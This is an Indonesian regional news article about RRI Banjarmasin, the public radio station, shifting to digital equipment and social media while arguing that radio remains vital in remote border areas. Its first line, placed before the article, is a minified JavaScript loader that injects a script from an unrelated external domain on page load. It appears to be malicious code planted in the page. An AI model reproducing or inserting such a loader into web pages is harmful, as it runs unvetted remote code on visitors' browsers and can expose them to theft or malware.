(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dulu, industri radio menjadi andalan masyarakat baik itu dalam hal penyebaran informasi maupun hiburan.
Namun, seiring perkembangan zaman, radio perlahan tergerus seiring kemajuan teknologi sehingga warga lebih memilih menggunakan teknologi seperti sosial media untuk kebutuhan informasi.
Mau tidak mau, media seperti radio harus beradaptasi jika ingin bertahan dan bersaing di era gempuran teknologi seperti sekarang ini.
Hal itulah yang dilakukan Lembaga Penyiaran Publik Radio Republik Indonesia (LPP RI) Banjarmasin untuk menjawab tantangan zaman.
Baca juga: E-Sport Porprov Kalsel 2025 Memanas, Atlet Banjarbaru ke Semifinal
Kepala LPP RRI Banjarmasin, Nandang Supriadi menuturkan, salah satu upaya yang dilakukan ialah memperluas ilmu pengetahuan Angkasawati (pegawai) RRI Banjarmasin.
Tak hanya itu, peralihan peralatan teknologi menjadi serba digital juga dilakukan guna menyesuaikan minat pendengar RRI Banjarmasin khususnya kepada anak-anak muda sebagai output siaran.
“Output siaran yang memang dipilihkan oleh publik dalam hal ini termasuk di dunia Gen Z dan adik-adik mahasiswa,” kata Nandang kepada Kanalkalimantan.com, Jumat (31/10/2025).
Mantan Kepala RRI Manado itu menambahkan, strategi RRI Banjarmasin yang dikenal dengan teknologi media baru turut digencarkan seperti peningkatan Computerize dan Workstation yang tadinya analog berubah menjadi digital.
“Kita terus berkreasi, jadi tinggal bagaimana kita menghasilkan outcome yang diperlukan publik. Sehingga keberadaan RRI mampu mendapatkan hati bagi masyarakat,” ujar magister manajemen itu.
Baca juga: MAFINDO Kalsel – Ilmu Komunikasi ULM Gelar Implementasi Pelatihan AI Ready ASEAN
Gedung LPP RRI Banjarmasin. Foto: fahmi
RRI Banjarmasin kini tak hanya bermain di area terestrial saja tetapi mencakup bidang digital yakni sosial media antara lain Facebook, Instagram, Youtube, Tiktok, dan sejenisnya.
Ketika ditanya apakah radio masih penting di zaman sekarang, Nandang menjawab radio tentu masih sangat penting mengingat penyebaran infrastruktur jaringan internet yang belum stabil dan menyeluruh di Indonesia.
Sebut saja daerah perbatasan seperti Sebatik di Kalimantan Utara yang berbatasan langsung dengan Malaysia, atau Miangas di Sulawesi Utara yang berbatasan langsung dengan Filipina. Kedua wilayah ini menurutnya masih bergantung kepada radio.
“Artinya ada bagian-bagian tertentu yang di pulau-pulau utamanya 3T (Tertinggal, Terdepan, Terluar) itu masih tetap mengandalkan radio. Makanya kita masuk ke dalam konvergensi media dan multi-platform,” pungkasnya. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
This website uses cookies.